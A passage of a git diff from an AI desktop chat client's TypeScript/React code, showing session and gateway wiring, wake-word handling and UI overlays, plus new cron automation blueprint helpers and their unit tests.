+    activeSessionIdRef,
+    currentCwd,
+    gatewayState,
+    requestGateway
+  })
+
+  // Expose the restart handler to the preview pane contribution (module
+  // boundary crossed via atom — contrib-panes can't import this file).
+  useEffect(() => {
+    $restartPreviewServer.set(restartPreviewServer)
+
+    return () => $restartPreviewServer.set(null)
+  }, [restartPreviewServer])
+
+  const {
+    archiveSession,
+    branchCurrentSession,
+    branchStoredSession,
+    createBackendSessionForSend,
+    openNewSessionTile,
+    removeSession,
+    resumeSession,
+    selectSidebarItem,
+    startFreshSessionDraft
+  } = useSessionActions({
+    activeSessionId,
+    activeSessionIdRef,
+    busyRef,
+    creatingSessionRef,
+    ensureSessionState,
+    getRouteToken,
+    getRoutedStoredSessionId,
+    navigate,
+    onFreshDraftRouteIntent: clearRoutedSessionIntent,
+    requestGateway,
+    resetViewSync,
+    runtimeIdByStoredSessionIdRef,
+    selectedStoredSessionId,
+    selectedStoredSessionIdRef,
+    sessionStateByRuntimeIdRef,
+    syncSessionStateToView,
+    updateSessionState
+  })
+
+  // A profile switch/create drops to a fresh new-session draft so the
+  // previously open session doesn't bleed across contexts. Skip initial value.
+  const freshSessionRequest = useStore($freshSessionRequest)
+  const lastFreshRef = useRef(freshSessionRequest)
+
+  // eslint-disable-next-line no-restricted-syntax -- legitimate non-atom ref write (see eslint rule comment)
+  useEffect(() => {
+    if (freshSessionRequest === lastFreshRef.current) {
+      return
+    }
+
+    lastFreshRef.current = freshSessionRequest
+    startFreshSessionDraft()
+  }, [freshSessionRequest, startFreshSessionDraft])
+
+  // Swapping the live gateway to another profile must re-pull that profile's
+  // global model + active-profile pill (both are nanostores — the blanket
+  // invalidateQueries on swap doesn't touch them).
+  const lastGatewayProfileRef = useRef(activeGatewayProfile)
+
+  // eslint-disable-next-line no-restricted-syntax -- legitimate non-atom ref write (see eslint rule comment)
+  useEffect(() => {
+    if (activeGatewayProfile === lastGatewayProfileRef.current) {
+      return
+    }
+
+    lastGatewayProfileRef.current = activeGatewayProfile
+    // Force: the new profile has its own defaults, so reseed the selector even
+    // if the composer already shows values from the previous profile. Both
+    // refreshes carry an intent token so a picker click made in flight wins.
+    void refreshCurrentModel(true)
+    void refreshClawCodexConfig(true)
+    void refreshActiveProfile()
+  }, [activeGatewayProfile, refreshCurrentModel, refreshClawCodexConfig])
+
+  // New session anchored to a workspace. Seeds cwd + branch from the clicked
+  // workspace; an explicit worktree path also drills the sidebar into that
+  // project so the new lane is visible.
+  //
+  // `openTab` is the sidebar "+" behavior: once a chat is loaded, stack a new
+  // tab instead of replacing it (see mainChatOccupied). The composer's
+  // "branch off into a new worktree" flow keeps the fresh-draft path — it
+  // prefills the MAIN composer right after, so it has to own that surface.
+  const startSessionInWorkspace = useCallback(
+    (path: null | string, options?: { openTab?: boolean }) => {
+      if (options?.openTab && mainChatOccupied(activeSessionIdRef.current, $selectedStoredSessionId.get())) {
+        void openNewSessionTile('center', { cwd: path, listed: false })
+
+        return
+      }
+
+      startWorkspaceSession({
+        activeSessionIdRef,
+        followActiveSessionCwd,
+        onExplicitWorkspace: restoreWorktree,
+        path,
+        requestGateway,
+        startFreshSessionDraft
+      })
+    },
+    [activeSessionIdRef, openNewSessionTile, requestGateway, startFreshSessionDraft]
+  )
+
+  // Composer "branch off into a new worktree": open a fresh session anchored
+  // to the just-created tree, then prefill the task that kicked it off.
+  const startWorkSessionRequest = useStore($startWorkSessionRequest)
+  const lastStartWorkTokenRef = useRef(startWorkSessionRequest?.token ?? 0)
+
+  // eslint-disable-next-line no-restricted-syntax -- legitimate non-atom ref write (see eslint rule comment)
+  useEffect(() => {
+    if (!startWorkSessionRequest || startWorkSessionRequest.token === lastStartWorkTokenRef.current) {
+      return
+    }
+
+    lastStartWorkTokenRef.current = startWorkSessionRequest.token
+    startSessionInWorkspace(startWorkSessionRequest.path, { openTab: startWorkSessionRequest.openTab })
+
+    if (startWorkSessionRequest.draft) {
+      requestComposerInsert(startWorkSessionRequest.draft, { target: 'main' })
+    }
+  }, [startSessionInWorkspace, startWorkSessionRequest])
+
+  const composer = useComposerActions({ activeSessionId, currentCwd, requestGateway })
+
+  const branchInNewChat = useCallback(
+    async (messageId?: string) => {
+      const branched = await branchCurrentSession(messageId)
+
+      if (branched) {
+        await refreshSessions().catch(() => undefined)
+      }
+
+      return branched
+    },
+    [branchCurrentSession, refreshSessions]
+  )
+
+  const handleSkinCommand = useSkinCommand()
+
+  const {
+    cancelRun,
+    editMessage,
+    executeSlashCommand,
+    handleThreadMessagesChange,
+    reloadFromMessage,
+    restoreToMessage,
+    steerPrompt,
+    submitText,
+    transcribeVoiceAudio
+  } = usePromptActions({
+    activeSessionId,
+    activeSessionIdRef,
+    branchCurrentSession: branchInNewChat,
+    busyRef,
+    createBackendSessionForSend,
+    getRoutedStoredSessionId,
+    getRuntimeIdForStoredSession,
+    getRouteToken,
+    handleSkinCommand,
+    openMemoryGraph: openStarmap,
+    refreshSessions,
+    requestGateway,
+    resumeStoredSession: resumeSession,
+    selectedStoredSessionIdRef,
+    startFreshSessionDraft,
+    sttEnabled,
+    updateSessionState
+  })
+
+  // Runs outside the selected ChatBar so queues belonging to background
+  // sessions continue once those sessions are idle.
+  useBackgroundQueueDrain({
+    enabled: gatewayState === 'open',
+    runtimeIdByStoredSessionIdRef,
+    selectedStoredSessionId,
+    submitText
+  })
+
+  // Session-tile delegate (resume/submit/interrupt/slash + the session verbs
+  // the tile TAB menu needs, without touching the primary view).
+  useSessionTileDelegate({
+    archiveSession,
+    branchStoredSession,
+    executeSlashCommand,
+    removeSession,
+    requestGateway,
+    runtimeIdByStoredSessionIdRef,
+    sessionStateByRuntimeIdRef,
+    updateSessionState
+  })
+
+  // The popped-out pet overlay's bridge back into the app.
+  usePetBridge({ requestGateway, resumeSession, submitText })
+
+  // The global-hotkey Quick Entry window's bridge: its captured text rides the
+  // SAME submit machinery the normal composer uses (current chat / picked
+  // session / new session), and it hears gateway truth from this window.
+  useQuickEntryBridge({ startFreshSessionDraft, submitText })
+
+  // Clear a failed turn's red error banner. Errors are renderer-local (never
+  // persisted): a bare error placeholder is dropped entirely; a partial-output
+  // failure keeps its content and sheds the error. Both the runtime cache AND
+  // the live $messages view must be updated — preserveLocalAssistantErrors
+  // re-grafts any still-errored view message on the next session.info flush.
+  const dismissError = useCallback(
+    (messageId: string) => {
+      const runtimeSessionId = activeSessionIdRef.current
+
+      if (!runtimeSessionId) {
+        return
+      }
+
+      const clearErrorIn = (messages: ChatMessage[]): ChatMessage[] =>
+        messages.flatMap(message => {
+          if (message.id !== messageId || !message.error) {
+            return [message]
+          }
+
+          if (!chatMessageText(message).trim() && !message.parts.some(part => part.type !== 'text')) {
+            return []
+          }
+
+          return [{ ...message, error: undefined, pending: false }]
+        })
+
+      // View first: the cache update below triggers a re-sync that reads
+      // $messages as the error-preservation baseline.
+      setMessages(clearErrorIn($messages.get()))
+
+      updateSessionState(runtimeSessionId, state => ({
+        ...state,
+        messages: clearErrorIn(state.messages)
+      }))
+    },
+    [activeSessionIdRef, updateSessionState]
+  )
+
+  useRouteResume({
+    activeSessionId,
+    activeSessionIdRef,
+    creatingSessionRef,
+    currentView,
+    freshDraftReady,
+    gatewayState,
+    locationPathname: location.pathname,
+    resumeSession,
+    resumeFailedSessionId,
+    resumeExhaustedSessionId,
+    routedSessionId,
+    runtimeIdByStoredSessionIdRef,
+    selectedStoredSessionId,
+    selectedStoredSessionIdRef,
+    startFreshSessionDraft
+  })
+
+  // Plugins hear the stream FIRST (isolated fan-out in contrib/events), then
+  // the app dispatches as before — a plugin listener can't affect app flow.
+  const handleGatewayEventWithPlugins = useCallback(
+    (event: Parameters<typeof handleDesktopGatewayEvent>[0]) => {
+      emitGatewayEvent(event)
+
+      if (event.type === 'wake.detected') {
+        const payload = event.payload as { profile?: null | string; start_new_session?: boolean } | undefined
+
+        // Free the Mac mic so voice conversation can open getUserMedia.
+        // Server already pauses the detector lease; this stops client PCM feed.
+        stopClientCapture()
+
+        // Audible confirmation that the wake registered, before voice capture
+        // starts. Gated by the shared sound-mute toggle.
+        playWakeSound()
+        activateWakeIndicator()
+
+        // Multi-profile routing: a wake phrase enrolled by another profile
+        // re-homes the gateway to that profile first (live swap — same path
+        // as clicking it in the profile rail), then opens the fresh session
+        // and starts voice there.
+        const targetProfile = payload?.profile?.trim()
+        const activeProfile = normalizeProfileKey($activeGatewayProfile.get())
+
+        if (targetProfile && normalizeProfileKey(targetProfile) !== activeProfile) {
+          if (payload?.start_new_session !== false) {
+            newSessionInProfile(targetProfile)
+          } else {
+            void ensureGatewayProfile(normalizeProfileKey(targetProfile))
+          }
+        } else if (payload?.start_new_session !== false) {
+          startFreshSessionDraft()
+        }
+
+        requestVoiceConversationStart()
+
+        return
+      }
+
+      handleDesktopGatewayEvent(event)
+    },
+    [handleDesktopGatewayEvent, startFreshSessionDraft]
+  )
+
+  useGatewayBoot({
+    beforeConnectionSwitch: () => {
+      startFreshSessionDraft({ preserveRoute: true, workspaceTarget: null })
+      resetOverlayReturnRoute()
+      resetProjectTreeState()
+      closeAllTerminals()
+    },
+    handleGatewayEvent: handleGatewayEventWithPlugins,
+    onConnectionReady: c => {
+      connectionRef.current = c
+    },
+    onGatewayReady: g => {
+      gatewayRef.current = g
+    },
+    refreshClawCodexConfig,
+    refreshSessions
+  })
+
+  useEffect(() => {
+    if (gatewayState === 'open') {
+      // Status-then-arm, syncing $wakeWord so the composer toggle reflects the
+      // same listener this auto-arm claims.
+      void armWakeWord(requestGateway)
+    }
+  }, [gatewayState, requestGateway])
+
+  // Only the open messaging transcript needs its own poll — local chats are
+  // live over the websocket already.
+  const activeIsMessaging =
+    !!selectedStoredSessionId &&
+    isMessagingSource(messagingSessions.find(s => sessionMatchesStoredId(s, selectedStoredSessionId))?.source)
+
+  // Keep app data live while the gateway is open (on-connect reseed + the
+  // cron / messaging / transcript visibility polls + fresh-draft reseed).
+  useBackgroundSync({
+    activeGatewayProfile,
+    activeIsMessaging,
+    activeSessionId,
+    freshDraftReady,
+    gatewayState,
+    refreshActiveMessagingTranscript,
+    refreshCronJobs,
+    refreshCurrentModel,
+    refreshClawCodexConfig,
+    refreshMessagingSessions,
+    refreshSessions,
+    requestGateway
+  })
+
+  // Electron-main / OS / cross-window integrations: update polling, ⌘W close,
+  // deep links, native-notification nav, preview-shortcut enablement,
+  // remembered-session restore, and cross-window session-list sync.
+  const previewTarget = useStore($previewTarget)
+
+  useDesktopIntegrations({
+    activeProfile: normalizeProfileKey(activeGatewayProfile),
+    chatOpen,
+    hasPreview: Boolean(previewTarget),
+    locationPathname: location.pathname,
+    navigate,
+    profileReady: boot.phase === 'renderer.ready',
+    refreshSessions,
+    resumeExhaustedSessionId,
+    routedSessionId,
+    runtimeIdByStoredSessionId: runtimeIdByStoredSessionIdRef,
+    sessions
+  })
+
+  // Pin/unpin the selected session (statusbar keybind + chat header) — pinned
+  // on the durable lineage-root id so it survives auto-compression.
+  const toggleSelectedPin = useCallback(() => {
+    const sessionId = $selectedStoredSessionId.get()
+
+    if (!sessionId) {
+      return
+    }
+
+    const session = $sessions.get().find(s => sessionMatchesStoredId(s, sessionId))
+    const pinId = session ? sessionPinId(session) : sessionId
+
+    if ($pinnedSessionIds.get().includes(pinId)) {
+      unpinSession(pinId)
+    } else {
+      pinSession(pinId)
+    }
+  }, [])
+
+  // The tab-strip "+" and ⌘T share one action: open a new session as its own
+  // tab (stacked into the workspace zone) WITHOUT polluting the session list.
+  // Created `listed: false`, so each new tab's in-memory session stays out of
+  // the sidebar until its first message persists a turn and a refresh surfaces
+  // it — Cursor-style. Every click opens a fresh "New session" tab (multiple
+  // empty tabs are fine since none touch the session list).
+  const openNewSessionTab = useCallback(() => {
+    void openNewSessionTile('center', { listed: false })
+  }, [openNewSessionTile])
+
+  // Single global listener for every rebindable hotkey plus the on-screen
+  // keybind editor's capture mode (same as DesktopController).
+  useKeybinds({
+    openNewSessionTab,
+    startFreshSession: startFreshSessionDraft,
+    toggleCommandCenter,
+    toggleSelectedPin
+  })
+
+  // Register the tab-strip "+" action (the generic renderer stays
+  // session-agnostic; null until wired hides the glyph).
+  useEffect(() => {
+    $newSessionTabAction.set(openNewSessionTab)
+
+    return () => $newSessionTabAction.set(null)
+  }, [openNewSessionTab])
+
+  // The MAIN tab's Close. The workspace pane can't leave the tree, so its
+  // closer empties it instead: the next stacked session shifts in, else main
+  // drops to a fresh draft. Registering it here is also what gives the tab its
+  // close GESTURE (⌘-click / middle-click) — the strip reads the closer, not
+  // the `uncloseable` flag, so the pane stays undismissable either way.
+  useEffect(() => {
+    registerPaneCloser('workspace', () => void closeWorkspaceTab(id => navigate(sessionRoute(id))))
+
+    return () => registerPaneCloser('workspace')
+  }, [navigate])
+
+  // The controller's entire callback surface, gathered into the stable
+  // `actions` bag. `nextActions` is TS-checked against WiringActions each
+  // render; its fields are copied into the ref object so `actions` keeps one
+  // identity for the app's life (memoized surfaces don't re-render on churn)
+  // while every handler still closes over the latest values.
+  const nextActions: WiringActions = {
+    onAddContextRef: composer.addContextRefAttachment,
+    onAddUrl: url => composer.addContextRefAttachment(`@url:${formatRefValue(url)}`, url),
+    onArchiveSession: sessionId => void archiveSession(sessionId),
+    onAttachDroppedItems: composer.attachDroppedItems,
+    onAttachImageBlob: composer.attachImageBlob,
+    onBranchInNewChat: messageId => void branchInNewChat(messageId),
+    onBranchSession: sessionId => void branchStoredSession(sessionId),
+    onCancel: cancelRun,
+    onDeleteSelectedSession: () => {
+      const id = $selectedStoredSessionId.get()
+
+      if (id) {
+        void removeSession(id)
+      }
+    },
+    onDeleteSession: sessionId => void removeSession(sessionId),
+    onDismissError: dismissError,
+    onEdit: editMessage,
+    onLoadMoreMessaging: loadMoreMessagingForPlatform,
+    onLoadMoreProfileSessions: loadMoreSessionsForProfile,
+    onLoadMoreSessions: loadMoreSessions,
+    onManageCronJob: jobId => {
+      setCronFocusJobId(jobId)
+      navigate(CRON_ROUTE)
+    },
+    onNavigate: selectSidebarItem,
+    onNewSessionInWorkspace: path => startSessionInWorkspace(path, { openTab: true }),
+    onNewSessionSplit: dir => void openNewSessionTile(dir),
+    onPasteClipboardImage: opts => composer.pasteClipboardImage(opts),
+    onPickFiles: () => void composer.pickContextPaths('file'),
+    onPickFolders: () => void composer.pickContextPaths('folder'),
+    onPickImages: () => void composer.pickImages(),
+    onReload: reloadFromMessage,
+    onRemoveAttachment: id => void composer.removeAttachment(id),
+    onRestoreToMessage: restoreToMessage,
+    // Already on screen (open tile, or the main session)? Jump to its tab;
+    // otherwise load it into main. Same door every other session link uses.
+    onResumeSession: sessionId => openSession(sessionId, navigate),
+    onRetryResume: sessionId => void resumeSession(sessionId, true),
+    onSteer: steerPrompt,
+    onSubmit: submitText,
+    onThreadMessagesChange: handleThreadMessagesChange,
+    onToggleSelectedPin: toggleSelectedPin,
+    onTranscribeAudio: transcribeVoiceAudio,
+    onTriggerCronJob: jobId => {
+      void triggerCronJob(jobId)
+        .then(() => refreshCronJobs())
+        .catch(() => undefined)
+    },
+    getGateway: () => gatewayRef.current,
+    openAgents,
+    openCommandCenterSection,
+    requestGateway,
+    selectModel,
+    toggleCommandCenter
+  }
+
+  if (actionsRef.current) {
+    Object.assign(actionsRef.current, nextActions)
+  } else {
+    actionsRef.current = nextActions
+  }
+
+  const actions = actionsRef.current
+
+  // Each pane node is memoized on ONLY the reactive inputs it truly consumes;
+  // everything else reaches its surface through `actions` (stable) or the
+  // surface's own atom subscriptions. A wiring tick that doesn't touch a
+  // node's keys leaves its element reference intact, so `WiredPane` (memoized)
+  // bails on that pane subtree — panes render independently of one another.
+  const sidebarNode = useMemo(
+    () => <SidebarSurface actions={actions} currentView={currentView} />,
+    [actions, currentView]
+  )
+
+  const terminalNode = useMemo(() => <TerminalSurface />, [])
+
+  const statusbarNode = useMemo(
+    () => (
+      <StatusbarSurface
+        actions={actions}
+        agentsOpen={agentsOpen}
+        chatOpen={chatOpen}
+        commandCenterOpen={commandCenterOpen}
+      />
+    ),
+    [actions, agentsOpen, chatOpen, commandCenterOpen]
+  )
+
+  // The voice cap changes only on config load; the gateway instance + all
+  // chat reactivity are subscribed inside ChatRoutesSurface / ChatView.
+  const chatRoutesNode = useMemo(
+    () => <ChatRoutesSurface actions={actions} maxVoiceRecordingSeconds={voiceMaxRecordingSeconds} />,
+    [actions, voiceMaxRecordingSeconds]
+  )
+
+  const api = useMemo<WiringApi>(
+    () => ({
+      chatRoutes: chatRoutesNode,
+      sidebar: sidebarNode,
+      statusbar: statusbarNode,
+      terminal: terminalNode
+    }),
+    [chatRoutesNode, sidebarNode, statusbarNode, terminalNode]
+  )
+
+  // The REAL titlebar tool clusters (sidebar/flip toggles, haptics, keybinds,
+  // settings gear) — fixed chrome positioned via the same CSS vars AppShell
+  // sets, computed here from the live connection. Page-registered tools
+  // (preview's monitor/devtools cluster, …) arrive as registry contributions.
+  const leftTitlebarTools = useTitlebarToolContributions('left')
+  const rightTitlebarTools = useTitlebarToolContributions('right')
+  const connection = useStore($connection)
+  const controlsPos = titlebarControlsPosition(connection?.windowButtonPosition, Boolean(connection?.isFullscreen))
+  // Exact vertical centering: titlebarControlsPosition() returns
+  // (TITLEBAR_HEIGHT - TITLEBAR_CONTROL_HEIGHT) / 2, but TitlebarControls
+  // also applies a hard translate-y-0.5 (+2px) to its clusters. Cancel that
+  // constant so cluster center == bar center — measured, not eyeballed.
+  const controlsTranslateY = 2
+  // Windows/WSLg reserve native min/max/close on the right (AppShell parity:
+  // prefer the live WCO measurement, fall back to the static reservation).
+  const measuredOverlayWidth = useWindowControlsOverlayWidth()
+  const nativeOverlayWidth = measuredOverlayWidth ?? connection?.nativeOverlayWidth ?? 0
+  const titlebarToolsRight = nativeOverlayWidth > 0 ? `${nativeOverlayWidth}px` : '0.75rem'
+  // Pane-registered tools (preview's monitor/devtools cluster) anchor flush
+  // against the static system cluster — in the tree layout the titlebar band
+  // sits ABOVE the grid, so AppShell's pane-width anchoring doesn't apply.
+  const SYSTEM_TOOL_COUNT = 4
+  const paneToolCount = rightTitlebarTools.filter(tool => !tool.hidden).length
+  const systemToolsWidth = `calc(${SYSTEM_TOOL_COUNT} * (var(--titlebar-control-size) + 0.25rem))`
+
+  const titlebarToolsWidth =
+    paneToolCount > 0
+      ? `calc(${systemToolsWidth} + ${paneToolCount} * (var(--titlebar-control-size) + 0.25rem))`
+      : systemToolsWidth
+
+  return (
+    <ContribWiringContext.Provider value={api}>
+      <div
+        className="contents"
+        style={
+          {
+            '--titlebar-controls-left': `${controlsPos.left}px`,
+            '--titlebar-controls-top': `${controlsPos.top - controlsTranslateY}px`,
+            '--titlebar-tools-right': titlebarToolsRight,
+            '--titlebar-tools-width': titlebarToolsWidth,
+            '--shell-preview-toolbar-gap': systemToolsWidth
+          } as CSSProperties
+        }
+      >
+        <TitlebarControls
+          leftTools={leftTitlebarTools}
+          onOpenSettings={() => navigate(SETTINGS_ROUTE)}
+          tools={rightTitlebarTools}
+        />
+        {children}
+      </div>
+
+      {/* The full real overlay set (mirrors DesktopController's `overlays`). */}
+      <RemoteDisplayBanner />
+      {!isSecondaryWindow() && <DesktopInstallOverlay />}
+      {!isSecondaryWindow() && (
+        <DesktopOnboardingOverlay
+          enabled={gatewayState === 'open'}
+          onCompleted={() => {
+            void refreshClawCodexConfig()
+            void refreshCurrentModel()
+            void queryClient.invalidateQueries({ queryKey: ['model-options'] })
+          }}
+          profile={activeGatewayProfile}
+          requestGateway={requestGateway}
+        />
+      )}
+      <ModelPickerOverlay gateway={gateway || undefined} onSelect={selectModel} profile={activeGatewayProfile} />
+      <SessionPickerOverlay onResume={sessionId => openSession(sessionId, navigate)} />
+      <ModelVisibilityOverlay
+        gateway={gateway || undefined}
+        onOpenProviders={openProviderSettings}
+        profile={activeGatewayProfile}
+      />
+      <UpdatesOverlay />
+      <GatewayConnectingOverlay />
+      <BootFailureOverlay />
+      <CommandPalette />
+      <PetGenerateOverlay />
+      <SessionSwitcher />
+      <FileActionDialogs />
+      <RemoteFolderPicker />
+      <FindBar />
+
+      {settingsOpen && (
+        <Suspense fallback={null}>
+          <SettingsView
+            gateway={gateway}
+            onClose={closeOverlayToPreviousRoute}
+            onConfigSaved={() => {
+              void refreshClawCodexConfig()
+              void refreshCurrentModel()
+              void queryClient.invalidateQueries({ queryKey: ['model-options'] })
+            }}
+            onMainModelChanged={(provider, model) => {
+              applySavedMainModel(provider, model)
+              void refreshCurrentModel()
+              void queryClient.invalidateQueries({ queryKey: ['model-options'] })
+            }}
+          />
+        </Suspense>
+      )}
+
+      {commandCenterOpen && (
+        <Suspense fallback={null}>
+          <CommandCenterView
+            initialSection={commandCenterInitialSection}
+            onClose={closeOverlayToPreviousRoute}
+            onDeleteSession={removeSession}
+            onNavigateRoute={path => navigateToWorkspacePage(navigate, path)}
+            onOpenSession={sessionId => openSession(sessionId, navigate)}
+          />
+        </Suspense>
+      )}
+
+      {agentsOpen && (
+        <Suspense fallback={null}>
+          <AgentsView onClose={closeOverlayToPreviousRoute} />
+        </Suspense>
+      )}
+
+      {cronOpen && (
+        <Suspense fallback={null}>
+          <CronView
+            onClose={closeOverlayToPreviousRoute}
+            onOpenSession={sessionId => openSession(sessionId, navigate)}
+          />
+        </Suspense>
+      )}
+
+      {webhooksOpen && (
+        <Suspense fallback={null}>
+          <WebhooksView onClose={closeOverlayToPreviousRoute} />
+        </Suspense>
+      )}
+
+      {profilesOpen && (
+        <Suspense fallback={null}>
+          <ProfilesView onClose={closeOverlayToPreviousRoute} />
+        </Suspense>
+      )}
+
+      {starmapOpen && (
+        <Suspense fallback={null}>
+          <StarmapView onClose={closeOverlayToPreviousRoute} />
+        </Suspense>
+      )}
+
+      {/* Toasts above everything. */}
+      <NotificationStack />
+
+      {/* Petdex floating mascot — renders nothing unless installed + enabled. */}
+      <FloatingPet />
+
+      {/* Single persistent xterm host chasing the terminal pane's slot rect. */}
+      <PersistentTerminal onAddSelectionToChat={composer.addTerminalSelectionAttachment} />
+    </ContribWiringContext.Provider>
+  )
+}
diff --git a/ui-desktop/src/app/cron/blueprints.test.ts b/ui-desktop/src/app/cron/blueprints.test.ts
new file mode 100644
index 000000000..c1f067793
--- /dev/null
+++ b/ui-desktop/src/app/cron/blueprints.test.ts
@@ -0,0 +1,105 @@
+import { describe, expect, it } from 'vitest'
+
+import type { AutomationBlueprint } from '@/clawcodex'
+
+import { initialBlueprintValues } from './blueprints'
+
+function blueprint(fields: AutomationBlueprint['fields']): AutomationBlueprint {
+  return {
+    key: 'test',
+    title: 'Test',
+    description: '',
+    category: 'general',
+    tags: [],
+    command: '',
+    appUrl: '',
+    fields
+  }
+}
+
+describe('initialBlueprintValues', () => {
+  it('seeds each field from its default', () => {
+    const values = initialBlueprintValues(
+      blueprint([
+        { name: 'time', type: 'time', label: 'Time', default: '08:00', options: [], optional: false, help: '' },
+        {
+          name: 'topic',
+          type: 'enum',
+          label: 'Topic',
+          default: 'news',
+          options: ['news', 'sports'],
+          optional: false,
+          help: ''
+        }
+      ])
+    )
+
+    expect(values).toEqual({ time: '08:00', topic: 'news' })
+  })
+
+  it('falls back to an empty string when a field has no default', () => {
+    const values = initialBlueprintValues(
+      blueprint([{ name: 'topic', type: 'text', label: 'Topic', default: null, options: [], optional: true, help: '' }])
+    )
+
+    expect(values).toEqual({ topic: '' })
+  })
+
+  it('returns an empty object for a blueprint with no fields', () => {
+    expect(initialBlueprintValues(blueprint([]))).toEqual({})
+  })
+
+  it("seeds the deliver slot to 'local' when its default is the dashboard-only 'origin'", () => {
+    const values = initialBlueprintValues(
+      blueprint([
+        {
+          name: 'deliver',
+          type: 'enum',
+          label: 'Deliver',
+          default: 'origin',
+          options: ['origin', 'local', 'telegram'],
+          optional: false,
+          help: ''
+        }
+      ])
+    )
+
+    expect(values).toEqual({ deliver: 'local' })
+  })
+
+  it("seeds the deliver slot to 'local' when it has no default", () => {
+    const values = initialBlueprintValues(
+      blueprint([
+        {
+          name: 'deliver',
+          type: 'enum',
+          label: 'Deliver',
+          default: null,
+          options: ['origin', 'local'],
+          optional: false,
+          help: ''
+        }
+      ])
+    )
+
+    expect(values).toEqual({ deliver: 'local' })
+  })
+
+  it('leaves a non-origin deliver default untouched', () => {
+    const values = initialBlueprintValues(
+      blueprint([
+        {
+          name: 'deliver',
+          type: 'enum',
+          label: 'Deliver',
+          default: 'telegram',
+          options: ['origin', 'local', 'telegram'],
+          optional: false,
+          help: ''
+        }
+      ])
+    )
+
+    expect(values).toEqual({ deliver: 'telegram' })
+  })
+})
diff --git a/ui-desktop/src/app/cron/blueprints.tsx b/ui-desktop/src/app/cron/blueprints.tsx
new file mode 100644
index 000000000..23b80c039
--- /dev/null
+++ b/ui-desktop/src/app/cron/blueprints.tsx
@@ -0,0 +1,91 @@
+import type { AutomationBlueprint, AutomationBlueprintField } from '@/clawcodex'
+import { Input } from '@/components/ui/input'
+import { Select, SelectContent, SelectItem, SelectTrigger, SelectValue } from '@/components/ui/select'
+
+// The blueprint catalog is shared with the dashboard, so its deliver slot
+// defaults to "origin" (the chat/home-channel a dashboard or gateway job was
+// created from). Desktop has no origin chat, so seed the deliver slot to the
+// desktop's native target ("local" = This desktop) instead. The dialog then
+// renders that slot with the shared DeliverSelect (backend-sourced targets), so
+// the raw "origin" option never reaches the desktop UI.
+const DELIVER_FIELD = 'deliver'
+const DESKTOP_DELIVER_DEFAULT = 'local'
+
+function isDeliverField(field: AutomationBlueprintField): boolean {
+  return field.name === DELIVER_FIELD
+}
+
+// Initial form state for a blueprint = each field's default (or ''). Pure so the
+// suite can assert the form seeds correctly without mounting React. The deliver
+// slot is special-cased: an "origin" default (or empty) becomes "local" so a
+// desktop-created job delivers to This desktop instead of nowhere.
+export function initialBlueprintValues(blueprint: AutomationBlueprint): Record<string, string> {
+  const out: Record<string, string> = {}
+
+  for (const field of blueprint.fields) {
+    const seeded = field.default ?? ''
+    out[field.name] = isDeliverField(field) && (seeded === '' || seeded === 'origin') ? DESKTOP_DELIVER_DEFAULT : seeded
+  }
+
+  return out
+}
+
+// A slot-level validation error from the backend arrives as "422: <message>"
+// (or "<code>: <message>"); strip the leading numeric code for inline display.
+export function cleanBlueprintFieldError(message: string): string {
+  return message.replace(/^\d+:\s*/, '')
+}
+
+// Help text to show under a slot control. The backend deliver help is
+// origin/dashboard-centric and even contradicts desktop semantics ("local =
+// save only" vs. This desktop), and the DeliverSelect is self-explanatory —
+// skip it for the deliver slot.
+export function blueprintSlotHelp(field: AutomationBlueprintField): string | undefined {
+  return field.help && field.type !== 'text' && !isDeliverField(field) ? field.help : undefined
+}
+
+// Renders one blueprint slot's control (enum/weekdays → Select, time → time
+// input, else text). The deliver slot is handled separately by the dialog's
+// shared DeliverSelect, so it's not rendered here.
+export function BlueprintSlotControl({
+  field,
+  id,
+  onChange,
+  value
+}: {
+  field: AutomationBlueprintField
+  id: string
+  onChange: (next: string) => void
+  value: string
+}) {
+  if (field.type === 'enum' || field.type === 'weekdays') {
+    return (
+      <Select onValueChange={onChange} value={value}>
+        <SelectTrigger className="h-9 rounded-md" id={id}>
+          <SelectValue />
+        </SelectTrigger>
+        <SelectContent>
+          {field.options.map(option => (
+            <SelectItem key={option} value={option}>
+              {option}
+            </SelectItem>
+          ))}
+        </SelectContent>
+      </Select>
+    )
+  }
+
+  if (field.type === 'time') {
+    return <Input id={id} onChange={event => onChange(event.target.value)} type="time" value={value} />
+  }
+
+  return (
+    <Input
+      id={id}
+      onChange={event => onChange(event.target.value)}
+      placeholder={field.help || field.label}
+      type="text"
+      value={value}
+    />
+  )
+}
diff --git a/ui-desktop/src/app/cron/cron-job-model.test.ts b/ui-desktop/src/app/cron/cron-job-model.test.ts
new file mode 100644
index 000000000..a506f418f
--- /dev/null
+++ b/ui-desktop/src/app/cron/cron-job-model.test.ts
@@ -0,0 +1,93 @@
+import { describe, expect, it } from 'vitest'
+
+import { cronEditorUpdates, jobIsScriptOnly, validateCronEditor } from './cron-job-model'
+
+describe('jobIsScriptOnly', () => {
+  it('is true when no_agent is set and a script is present', () => {
+    expect(jobIsScriptOnly({ no_agent: true, script: 'echo hi' })).toBe(true)
+  })
+
+  it('is false for agent-backed jobs', () => {
+    expect(jobIsScriptOnly({ no_agent: false, script: 'echo hi' })).toBe(false)
+    expect(jobIsScriptOnly({ no_agent: true, script: '' })).toBe(false)
+    expect(jobIsScriptOnly({ no_agent: true, script: null })).toBe(false)
+  })
+})
+
+describe('validateCronEditor', () => {
+  it('requires prompt and schedule for agent-backed jobs', () => {
+    expect(validateCronEditor({ prompt: '', schedule: '', scriptOnlyJob: false })).toBe('prompt_and_schedule')
+    expect(validateCronEditor({ prompt: '', schedule: '0 9 * * *', scriptOnlyJob: false })).toBe('prompt')
+    expect(validateCronEditor({ prompt: 'go', schedule: '', scriptOnlyJob: false })).toBe('schedule')
+  })
+
+  it('allows an empty prompt when editing a script-only job', () => {
+    expect(validateCronEditor({ prompt: '', schedule: '0 9 * * 1', scriptOnlyJob: true })).toBe(null)
+    expect(validateCronEditor({ prompt: 'optional note', schedule: '0 9 * * 1', scriptOnlyJob: true })).toBe(null)
+  })
+
+  it('still requires schedule for script-only jobs', () => {
+    expect(validateCronEditor({ prompt: '', schedule: '', scriptOnlyJob: true })).toBe('schedule')
+  })
+})
+
+describe('cronEditorUpdates', () => {
+  it('omits prompt when saving a script-only job with an empty prompt', () => {
+    expect(
+      cronEditorUpdates(
+        { deliver: 'local', model: '', name: 'Weekly', prompt: '', provider: '', schedule: '0 9 * * 1' },
+        { scriptOnlyJob: true }
+      )
+    ).toEqual({
+      deliver: 'local',
+      name: 'Weekly',
+      schedule: '0 9 * * 1'
+    })
+  })
+
